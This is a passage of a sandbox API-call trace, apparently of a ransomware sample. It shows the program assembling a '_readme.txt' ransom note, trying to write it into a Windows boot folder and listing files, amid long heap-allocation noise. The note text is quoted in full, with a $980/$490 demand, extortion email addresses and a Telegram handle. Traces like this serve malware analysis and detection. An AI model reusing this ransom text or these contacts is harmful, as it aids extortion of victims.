lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.250] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.250] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.250] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.250] PathFindFileNameW (pszPath="") returned="" [0266.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.250] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.251] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.251] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.251] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0266.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.251] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0266.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.252] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.252] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.252] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.253] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.253] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.253] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.253] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.253] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.253] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.259] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.259] HeapFree (in: 